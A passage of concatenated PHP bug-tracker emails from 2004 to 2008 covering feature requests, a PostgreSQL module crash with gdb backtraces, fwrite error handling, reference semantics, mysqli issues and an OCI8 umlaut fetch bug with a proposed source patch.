http://bugs.php.net/fix.php?id=44093r=trysnapshot52
Try a CVS snapshot (PHP 5.3): 
http://bugs.php.net/fix.php?id=44093r=trysnapshot53
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=44093r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=44093r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=44093r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=44093r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=44093r=needscript
Try newer version:http://bugs.php.net/fix.php?id=44093r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=44093r=support
Expected behavior:http://bugs.php.net/fix.php?id=44093r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=44093r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=44093r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=44093r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=44093r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=44093r=dst
IIS Stability:http://bugs.php.net/fix.php?id=44093r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=44093r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=44093r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=44093r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=44093r=mysqlcfg

#42360 [NEW]: add paramets for get_declared_classes() - filter by parent class/interface

[max at redline-software dot com]

From: max at redline-software dot com
Operating system: 
PHP version:  5.2.3
PHP Bug Type: Feature/Change Request
Bug description:  add paramets for get_declared_classes() - filter by parent 
class/interface

Description:

The goal is to return all declared subclasses of given
class_name/interface


Reproduce code:
---
interface A {}
class A1 implements A {}
class A2 implements A {}
class B extends A1 {}
class C {}

print_r(get_declared_classes('A'));
print_r(get_declared_classes('A1'));

Expected result:

// print_r(get_declared_classes('A'));
Array
(
[0] = A1
[1] = A2
[2] = B
)

// print_r(get_declared_classes('A1'));
Array
(
[2] = B
)


-- 
Edit bug report at http://bugs.php.net/?id=42360edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=42360r=trysnapshot44
Try a CVS snapshot (PHP 5.2): 
http://bugs.php.net/fix.php?id=42360r=trysnapshot52
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=42360r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=42360r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=42360r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=42360r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=42360r=needscript
Try newer version:http://bugs.php.net/fix.php?id=42360r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=42360r=support
Expected behavior:http://bugs.php.net/fix.php?id=42360r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=42360r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=42360r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=42360r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=42360r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=42360r=dst
IIS Stability:http://bugs.php.net/fix.php?id=42360r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=42360r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=42360r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=42360r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=42360r=mysqlcfg

#40708 [NEW]: Crashes when using PostgreSQL module

[max at to-the-max dot net]

From: max at to-the-max dot net
Operating system: FreeBSD 6.2-STABLE - AMD64
PHP version:  5.2.1
PHP Bug Type: PostgreSQL related
Bug description:  Crashes when using PostgreSQL module

Description:

Every couple hundred of requests PHP crashes while accessing a PostgreSQL
database.

Backtrace always points to ext/pgsql/pgsql.c __zend_lineno=375


Reproduce code:
---
Different scripts. All have in common that they use the PostgreSQL module.

Actual result:
--
===
Backtrace 1
===

www3# gdb /usr/local/bin/php php.core.500
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB.  Type show warranty for
details.
This GDB was configured as amd64-marcel-freebsd...
Core was generated by `php'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libcrypt.so.3...done.
Loaded symbols for /lib/libcrypt.so.3
Reading symbols from /usr/local/pgsql/lib/libpq.so.5...done.
Loaded symbols for /usr/local/pgsql/lib/libpq.so.5
Reading symbols from /usr/local/lib/libiconv.so.3...done.
Loaded symbols for /usr/local/lib/libiconv.so.3
Reading symbols from /lib/libz.so.3...done.
Loaded symbols for /lib/libz.so.3
Reading symbols from /lib/libm.so.4...done.
Loaded symbols for /lib/libm.so.4
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /libexec/ld-elf.so.1...done.
Loaded symbols for /libexec/ld-elf.so.1
#0  0x0067b0b9 in zend_mm_check_ptr (heap=0x95c000,
ptr=0x7fff0031, silent=1, 
__zend_filename=0x78d218
/usr/home/max/tmp/php-5.2.1/ext/pgsql/pgsql.c, __zend_lineno=375,
__zend_orig_filename=0x0, 
__zend_orig_lineno=0) at
/usr/home/max/tmp/php-5.2.1/Zend/zend_alloc.c:1012
1012if (p-info._size != ZEND_MM_NEXT_BLOCK(p)-info._prev) {
(gdb) bt
#0  0x0067b0b9 in zend_mm_check_ptr (heap=0x95c000,
ptr=0x7fff0031, silent=1, 
__zend_filename=0x78d218
/usr/home/max/tmp/php-5.2.1/ext/pgsql/pgsql.c, __zend_lineno=375,
__zend_orig_filename=0x0, 
__zend_orig_lineno=0) at
/usr/home/max/tmp/php-5.2.1/Zend/zend_alloc.c:1012
#1  0x0067c6e1 in _zend_mm_free_int (heap=0x95c000,
p=0x7fff0031, 
__zend_filename=0x78d218
/usr/home/max/tmp/php-5.2.1/ext/pgsql/pgsql.c, __zend_lineno=375,
__zend_orig_filename=0x0, 
__zend_orig_lineno=0) at
/usr/home/max/tmp/php-5.2.1/Zend/zend_alloc.c:1520
#2  0x0067d90d in _efree (ptr=0x7fff0031,
__zend_filename=0x78d218 /usr/home/max/tmp/php-5.2.1/ext/pgsql/pgsql.c,

__zend_lineno=375, __zend_orig_filename=0x0, __zend_orig_lineno=0) at
/usr/home/max/tmp/php-5.2.1/Zend/zend_alloc.c:1877
#3  0x0050f30f in _php_pgsql_notice_ptr_dtor (ptr=0xac0098) at
/usr/home/max/tmp/php-5.2.1/ext/pgsql/pgsql.c:375
#4  0x006a9872 in zend_hash_clean (ht=0x9539a8) at
/usr/home/max/tmp/php-5.2.1/Zend/zend_hash.c:552
#5  0x0050fbfc in zm_deactivate_pgsql (type=1, module_number=10)
at /usr/home/max/tmp/php-5.2.1/ext/pgsql/pgsql.c:574
#6  0x006a44d6 in module_registry_cleanup (module=0x9f5e00) at
/usr/home/max/tmp/php-5.2.1/Zend/zend_API.c:1945
#7  0x006a9cf2 in zend_hash_apply (ht=0x957d40,
apply_func=0x6a44a0 module_registry_cleanup)
at /usr/home/max/tmp/php-5.2.1/Zend/zend_hash.c:673
#8  0x0069c205 in zend_deactivate_modules () at
/usr/home/max/tmp/php-5.2.1/Zend/zend.c:839
#9  0x006458e1 in php_request_shutdown (dummy=0x0) at
/usr/home/max/tmp/php-5.2.1/main/main.c:1293
#10 0x00718b06 in main (argc=1, argv=0x7fffedc8) at
/usr/home/max/tmp/php-5.2.1/sapi/cgi/cgi_main.c:1796







===
Backtrace 2
===


www3# gdb /usr/local/bin/php php.core.501
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB.  Type show warranty for
details.
This GDB was configured as amd64-marcel-freebsd...
Core was generated by `php'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libcrypt.so.3...done.
Loaded symbols for /lib/libcrypt.so.3
Reading symbols from /usr/local/pgsql/lib/libpq.so.5...done.
Loaded symbols for /usr/local/pgsql/lib/libpq.so.5
Reading symbols from /usr/local/lib/libiconv.so.3...done.
Loaded symbols for /usr/local/lib/libiconv.so.3
Reading symbols from /lib/libz.so.3...done.
Loaded symbols for /lib/libz.so.3
Reading symbols from /lib/libm.so.4...done.
Loaded symbols for /lib/libm.so.4
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /libexec/ld-elf.so.1...done.
Loaded symbols

#39598 [NEW]: error verification after fwrite()

[max at nucleus dot it]

From: max at nucleus dot it
Operating system: Linux
PHP version:  5.2.0
PHP Bug Type: Streams related
Bug description:  error verification after fwrite()

Description:

The documentation states tha fwrite() returns false in 
case of error, but it doesn't do so if the actual write 
fails.
For example if I asynchronously write to a pipe (such as 
those obtained by proc_open()) I and the pipe is not ready 
or is broken, fwrite() returns 0.
This could be a correct behaviour it I had a way to 
determine the error.
The problem is that EAGAIN or EPIPE are completely 
impossible to determine and I can't know if I need to wait 
or I have to close the stream.
A possible solution would be to implement ferror() or 
errno.

Reproduce code:
---
$Proc = proc_open($Cmd, $Streams, $Pipes, $CWD, $Env);

stream_set_blocking($Pipes[0], 0);

$Result = fwrite($Pipes[0], test);

// If $Pipes[0] is not ready to receive data
// $Result is 0, but I can't know why.
// The real code I'm writing involves
// stream_select() and repeated reads and writes
// on multiple pipes.

Expected result:

fwrite() should return 0 when the stream is asynchrounous, 
the C write() returns 0 and errno is EAGAIN.
fwrite() should return false in all other cases where the 
C write() returns 0.

Alternatively a way to access ferror() or errno is needed.


-- 
Edit bug report at http://bugs.php.net/?id=39598edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=39598r=trysnapshot44
Try a CVS snapshot (PHP 5.2): 
http://bugs.php.net/fix.php?id=39598r=trysnapshot52
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=39598r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=39598r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=39598r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=39598r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=39598r=needscript
Try newer version:http://bugs.php.net/fix.php?id=39598r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=39598r=support
Expected behavior:http://bugs.php.net/fix.php?id=39598r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=39598r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=39598r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=39598r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=39598r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=39598r=dst
IIS Stability:http://bugs.php.net/fix.php?id=39598r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=39598r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=39598r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=39598r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=39598r=mysqlcfg

#37225 [Bgs-Opn]: tangled references

[max at hightech dot lv]

 ID:   37225
 User updated by:  max at hightech dot lv
 Reported By:  max at hightech dot lv
-Status:   Bogus
+Status:   Open
 Bug Type: Scripting Engine problem
 Operating System: ALL
 PHP Version:  5.1.2
 Assigned To:  dmitry
 New Comment:

But why after the second line $arr is references? I don't define it
as references!


Previous Comments:


[2006-08-24 14:56:04] [EMAIL PROTECTED]

Duplicate of #37917.
You're copying and modifying refernces and this is expected.



[2006-04-27 16:07:28] max at hightech dot lv

Description:

looks like after copy reference to some variable, source-variable start
to be reference it self. Is it correct? In result we can't make copy
array, if some of it element was used as reference.

Reproduce code:
---
$arr = array(TEXT = test);
$tmp = $arr[TEXT];
$zz = $arr;
$zz[TEXT] = 1;
var_dump($arr);


Expected result:

array(1) { [TEXT]= string(4) test }

Actual result:
--
array(1) { [TEXT]= int(1) }





-- 
Edit this bug report at http://bugs.php.net/?id=37225edit=1

#37225 [Opn-Bgs]: tangled references

[max at hightech dot lv]

 ID:   37225
 User updated by:  max at hightech dot lv
 Reported By:  max at hightech dot lv
-Status:   Open
+Status:   Bogus
 Bug Type: Scripting Engine problem
 Operating System: ALL
 PHP Version:  5.1.2
 Assigned To:  dmitry
 New Comment:

$a1 = $a2;
This line means that both $a[0] and $a[1] become references that point
to the same value.

I see now. strange... I don't change variable, but it change...


Previous Comments:


[2006-08-24 15:02:30] max at hightech dot lv

But why after the second line $arr is references? I don't define it
as references!



[2006-08-24 14:56:04] [EMAIL PROTECTED]

Duplicate of #37917.
You're copying and modifying refernces and this is expected.



[2006-04-27 16:07:28] max at hightech dot lv

Description:

looks like after copy reference to some variable, source-variable start
to be reference it self. Is it correct? In result we can't make copy
array, if some of it element was used as reference.

Reproduce code:
---
$arr = array(TEXT = test);
$tmp = $arr[TEXT];
$zz = $arr;
$zz[TEXT] = 1;
var_dump($arr);


Expected result:

array(1) { [TEXT]= string(4) test }

Actual result:
--
array(1) { [TEXT]= int(1) }





-- 
Edit this bug report at http://bugs.php.net/?id=37225edit=1

#37225 [NEW]: tangled references

[max at hightech dot lv]

From: max at hightech dot lv
Operating system: ALL
PHP version:  5.1.2
PHP Bug Type: Scripting Engine problem
Bug description:  tangled references

Description:

looks like after copy reference to some variable, source-variable start to
be reference it self. Is it correct? In result we can't make copy array, if
some of it element was used as reference.

Reproduce code:
---
$arr = array(TEXT = test);
$tmp = $arr[TEXT];
$zz = $arr;
$zz[TEXT] = 1;
var_dump($arr);


Expected result:

array(1) { [TEXT]= string(4) test }

Actual result:
--
array(1) { [TEXT]= int(1) }

-- 
Edit bug report at http://bugs.php.net/?id=37225edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37225r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37225r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37225r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37225r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37225r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37225r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37225r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37225r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37225r=support
Expected behavior:http://bugs.php.net/fix.php?id=37225r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37225r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37225r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37225r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37225r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37225r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37225r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37225r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37225r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37225r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37225r=mysqlcfg

#34948 [NEW]: [MYSQLI] mysqli_statement and binding array

[max at webscript dot ru]

From: max at webscript dot ru
Operating system: WinXP Pro
PHP version:  5CVS-2005-10-21 (snap)
PHP Bug Type: Feature/Change Request
Bug description:  [MYSQLI] mysqli_statement and binding array

Description:

Binding array for results of prepared statments in mysqli.

Reproduce code:
---
now if I want to work with result of prepared statements I should use
mysqli_bind_result().
And if i use table with many columns i need to write variable for all this
columns :
-
$stmt = mysqli_prepare($link, SELECT * FROM test_bind_fetch);
mysqli_bind_result($stmt, $c1, $c2, $c3, $c4, $c5, $c6, $c7);
-

I think it would be better to make function 
mysqli_bind_result_array($stmt, $array, $array_type);
Where $stmt - mysqli_statement
$array - array, where we will save data from query
$array_type = MYSQLI_ASSOC || MYSQLI_NUM || MYSQLI_BOTH

I know, that this can be emulated with mysqli_fetch_fileds() +
call_user_func_array() but it's not comfortable :-)


Expected result:

$stmt = mysqli_prepare($link, SELECT * FROM test_bind_fetch);
mysqli_bind_result_array($stmt, $row, MYSQLI_ASSOC);
mysqli_fetch($stmt);
...
now $row will contain data from one record of our query



Actual result:
--
no result yet

-- 
Edit bug report at http://bugs.php.net/?id=34948edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=34948r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=34948r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=34948r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=34948r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=34948r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=34948r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=34948r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=34948r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=34948r=support
Expected behavior:   http://bugs.php.net/fix.php?id=34948r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=34948r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=34948r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=34948r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=34948r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=34948r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=34948r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=34948r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=34948r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=34948r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=34948r=mysqlcfg

#34902 [NEW]: $mysqli::character_set_name() - undefined method

[max at webscript dot ru]

From: max at webscript dot ru
Operating system: Windows XP Pro
PHP version:  5CVS-2005-10-18 (snap)
PHP Bug Type: MySQLi related
Bug description:  $mysqli::character_set_name() - undefined method

Description:

Method character_set_name() is undefined but procedural style works fine.

PHP 5.1.0RC4-dev 
MySQL client - 4.1.14


Reproduce code:
---
// procedural style (works fine)
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
var_dump(mysqli_client_encoding($conn));
var_dump(mysqli_character_set_name($conn));
mysqli_close($conn);
// oop style - got error
$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
var_dump($conn-client_encoding());
var_dump($conn-character_set_name());
$conn-close(); 


Expected result:

string(17) latin1_swedish_ci
string(17) latin1_swedish_ci
string(17) latin1_swedish_ci
string(17) latin1_swedish_ci

Actual result:
--
string(17) latin1_swedish_ci
string(17) latin1_swedish_ci
string(17) latin1_swedish_ci

Fatal error: Call to undefined method mysqli::character_set_name() in
C:\usr\mysqli\a.php on line 9


-- 
Edit bug report at http://bugs.php.net/?id=34902edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=34902r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=34902r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=34902r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=34902r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=34902r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=34902r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=34902r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=34902r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=34902r=support
Expected behavior:   http://bugs.php.net/fix.php?id=34902r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=34902r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=34902r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=34902r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=34902r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=34902r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=34902r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=34902r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=34902r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=34902r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=34902r=mysqlcfg

#27156 [Com]: OCIFetchInto returns false as column value when column contains 1 umlaut

[max at pict dot lviv dot ua]

 ID:   27156
 Comment by:   max at pict dot lviv dot ua
 Reported By:  sanjok at pict dot lviv dot ua
 Status:   No Feedback
 Bug Type: OCI8 related
 Operating System: Linux SuSE 7.38.1
 PHP Version:  4.3.4
 Assigned To:  tony2001
 New Comment:

I have digged deeper into this problem and it seems that I have found a
solution, or at least a workaround for this problem. The reason for the
problem is that Oracle driver raises error 1406 (fetched column value
was truncated) while the value is not really truncated, and this
situation is handled incorrectly by oci8 module (what I don't
understand is why SQLPlus, which uses same libs, doesn't raise this
error...). However, this solution requires changes in PHP source code
(oci8.c module), so this must be done by one of PHP developers.

So the solution looks this way:
In ext/oci8/oci8.c module there's a function _oci_make_zval. In
this function there's following piece of code:

switch (column-retcode) {
case 0:
/* intact value */
if (column-piecewise) {
size = column-retlen4;
} else {
size = column-retlen;
}
break;

default:
/* XXX we SHOULD maybe have a different behaviour for
unknown results! */
ZVAL_FALSE(value);
return 0;
}

As far as I understand, here we set size of return string in case
execution completed successfully or return FALSE in other cases (like
in this case of this bug). However, in case of error 1406 we have
normal return, but it's set to false because retcode is not 0. If we
modify this piece of code this way:

switch (column-retcode) {
case 1406:
/*Protection from invalid behaviour*/
size = column-retlen;
case 0:
/* intact value */
if (column-piecewise) {
size = column-retlen4;
} else {
size = column-retlen;
}
break;

default:
/* XXX we SHOULD maybe have a different behaviour for
unknown results! */
ZVAL_FALSE(value);
return 0;
}

everying start to work fine.

It's a DIRTY solution, although it closes the bug, but it would be nice
to investigate the source of this error -- why error 1406 is raised
here. If this is a bug in Oracle, than this approach can be a
workaround for this bug.


Previous Comments:


[2005-08-11 14:27:24] max at pict dot lviv dot ua

One more investigation:
If I simply convert column from char to varchar2 using ALTER TABLE
statement, it doesn't help. OCIFetchInto behaves correctly only if
table was created with varchar2 type. But even with varchar2 column, if
I fill entire column with umlauts, OCIFetchInto and OCIFetch fail. 

Sample:
SQL desc test;
 Name  Null?Typ
 - 

 NAME   VARCHAR2(10)

SQL select name, length(name) from test order by name;

NAME   LENGTH(NAME)
-- 
ü 1
üü2
ü 5
üü6
üü   10

--So you see that Oracle shows length correctly.
Now I use the following php script:

ociinternaldebug(true);
$connection = OCILogon(, , );
$query = SELECT * FROM TEST order by name;
$statement = OCIParse ($connection, $query);
OCIExecute($statement);

while (OCIFetchInto ($statement, $row, OCI_ASSOC+OCI_RETURN_NULLS))
{
var_dump($row);
}

OCIExecute($statement);

while(OCIFetch($statement)) {
   var_dump (OCIResult($statement, NAME));
}


And here's result of ociinternaldebug:

OCIDebug: _oci_open_server new conn=0 dname=br /
OCIDebug: _oci_open_session new sess=5 user=br /
OCIDebug: oci_do_connect: id=6br /
OCIDebug: oci_parse SELECT * FROM TEST order by name id=7 conn=6br
/
array(1) {
  [NAME]=
  string(2) ü
}
array(1) {
  [NAME]=
  string(4) üü
}
array(1) {
  [NAME]=
  string(10) ü
}
OCIDebug: _oci_make_zval: NAME,retlen =   10,retlen4 =
0,storage_size4 =   11,indicator6, retcode = 1406br /
array(1) {
  [NAME]=
  bool(false)
}
OCIDebug: _oci_make_zval: NAME,retlen =   10,retlen4 =
0,storage_size4 =   11,indicator   10, retcode = 1406br /
array(1) {
  [NAME]=
  bool(false)
}
string(2) ü
string(4) üü
string(10) ü
OCIDebug: _oci_make_zval: NAME,retlen =   10,retlen4 =
0,storage_size4 =   11,indicator6, retcode = 1406br /
bool(false)
OCIDebug

#27156 [Com]: OCIFetchInto returns false as column value when column contains 1 umlaut

[max at pict dot lviv dot ua]

 ID:   27156
 Comment by:   max at pict dot lviv dot ua
 Reported By:  sanjok at pict dot lviv dot ua
 Status:   No Feedback
 Bug Type: OCI8 related
 Operating System: Linux SuSE 7.38.1
 PHP Version:  4.3.4
 Assigned To:  tony2001
 New Comment:

We have this problem on multiple configurations, everywhere situation
is the same.
Case1:
DB Server Compaq Tru64Unix + Oracle 10.1.0.3.0
Client machines: 
A. SuSE 7.3 + Oracle Client 9.0.1
B. SLES 9 + Oracle Instant Client 10

Case2:
DB Server SuSE 8.1 + Oracle 9.0.1
Oracle Client 9.0.1 running on the same machine.

We have tried PHP 4.3.10 and 4.3.11, and this doesn't change the
situation, problem persists.

In SQLPlus I see data correctly saved from a web application, but when
using OCIFetchInto in PHP script I receive FALSE instead of column
value when column contains more than one umlaut character.

Some details: 
NLS_LANG = GERMAN_AUSTRIA.UTF8;
Database encoding is WE8DEC.


Previous Comments:


[2005-04-02 01:00:04] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2005-03-25 01:42:42] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php4-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php4-win32-STABLE-latest.zip





[2004-02-11 04:13:23] sanjok at pict dot lviv dot ua

P.S.: Feedback was sent on Thu, 5 Feb 2004 15:25:01 (+0200) to mr.
Anatoly Dovgal, but there was no response from him.



[2004-02-11 04:06:06] sanjok at pict dot lviv dot ua

?php
  /*
Oracle 9.0.1i
database internal encoding WE8DEC
database client encoding specified by NLS_LANG parameter
is GERMAN_AUSTRIA.UTF8, so Oracle automatically converts
characters to client encoding.

CREATE TABLE TEST (
  NAME CHAR(10)
);
insert into test values ('ü');
insert into test values ('üü');

NOTE: this error doesn't occur when we use
column type VARCHAR2 insted of CHAR
   */
ociinternaldebug(true);
$connection = OCILogon(DB_USER, DB_PASS, DB_NAME);
$query = SELECT * FROM TEST;
$statement = OCIParse ($connection, $query);
OCIExecute($statement);

while (OCIFetchInto ($statement, $row, OCI_ASSOC+OCI_RETURN_NULLS))
{
var_dump($row);
}
  
?

result of ociinternaldebug.

OCIDebug: oci_do_connect: id=3
OCIDebug: oci_parse SELECT * FROM TEST id=4 conn=3
array(1) { [NAME]= string(11) u  } OCIDebug: _oci_make_zval:
NAME,retlen = 11,retlen4 = 0,storage_size4 =
11,indicator 10, retcode = 1406
array(1) { [NAME]= bool(false) } OCIDebug: START php_rshutdown_oci
OCIDebug: END php_rshutdown_oci
OCIDebug: START _oci_stmt_list_dtor: id=4 last_query=SELECT * FROM
TEST
OCIDebug: START _oci_column_hash_dtor: NAME
OCIDebug: END _oci_column_hash_dtor: NAME
OCIDebug: START _oci_conn_list_dtor: id=3
OCIDebug: nothing to do..
OCIDebug: END _oci_conn_list_dtor: id=3
OCIDebug: END _oci_stmt_list_dtor: id=4



[2004-02-05 05:31:08] sanjok at pict dot lviv dot ua

Description:

OCIFetchInto returns false as column value if table column contains
more than one umlaut character while combination of OCIFetch and
OCIResult functions returns correct result.
Environment: 
 OS: Linux SuSE 7.3/8.1;
 DB: Oracle 8.1.7/9.0.1i;
 PHP: 4.3.4 release
 
Oracle NLS_LANG is set to GERMAN_AUSTRIA.UTF8

 






-- 
Edit this bug report at http://bugs.php.net/?id=27156edit=1

#27156 [Com]: OCIFetchInto returns false as column value when column contains 1 umlaut

[max at pict dot lviv dot ua]

 ID:   27156
 Comment by:   max at pict dot lviv dot ua
 Reported By:  sanjok at pict dot lviv dot ua
 Status:   No Feedback
 Bug Type: OCI8 related
 Operating System: Linux SuSE 7.38.1
 PHP Version:  4.3.4
 Assigned To:  tony2001
 New Comment:

One more investigation:
If I simply convert column from char to varchar2 using ALTER TABLE
statement, it doesn't help. OCIFetchInto behaves correctly only if
table was created with varchar2 type. But even with varchar2 column, if
I fill entire column with umlauts, OCIFetchInto and OCIFetch fail. 

Sample:
SQL desc test;
 Name  Null?Typ
 - 

 NAME   VARCHAR2(10)

SQL select name, length(name) from test order by name;

NAME   LENGTH(NAME)
-- 
ü 1
üü2
ü 5
üü6
üü   10

--So you see that Oracle shows length correctly.
Now I use the following php script:

ociinternaldebug(true);
$connection = OCILogon(, , );
$query = SELECT * FROM TEST order by name;
$statement = OCIParse ($connection, $query);
OCIExecute($statement);

while (OCIFetchInto ($statement, $row, OCI_ASSOC+OCI_RETURN_NULLS))
{
var_dump($row);
}

OCIExecute($statement);

while(OCIFetch($statement)) {
   var_dump (OCIResult($statement, NAME));
}


And here's result of ociinternaldebug:

OCIDebug: _oci_open_server new conn=0 dname=br /
OCIDebug: _oci_open_session new sess=5 user=br /
OCIDebug: oci_do_connect: id=6br /
OCIDebug: oci_parse SELECT * FROM TEST order by name id=7 conn=6br
/
array(1) {
  [NAME]=
  string(2) ü
}
array(1) {
  [NAME]=
  string(4) üü
}
array(1) {
  [NAME]=
  string(10) ü
}
OCIDebug: _oci_make_zval: NAME,retlen =   10,retlen4 =
0,storage_size4 =   11,indicator6, retcode = 1406br /
array(1) {
  [NAME]=
  bool(false)
}
OCIDebug: _oci_make_zval: NAME,retlen =   10,retlen4 =
0,storage_size4 =   11,indicator   10, retcode = 1406br /
array(1) {
  [NAME]=
  bool(false)
}
string(2) ü
string(4) üü
string(10) ü
OCIDebug: _oci_make_zval: NAME,retlen =   10,retlen4 =
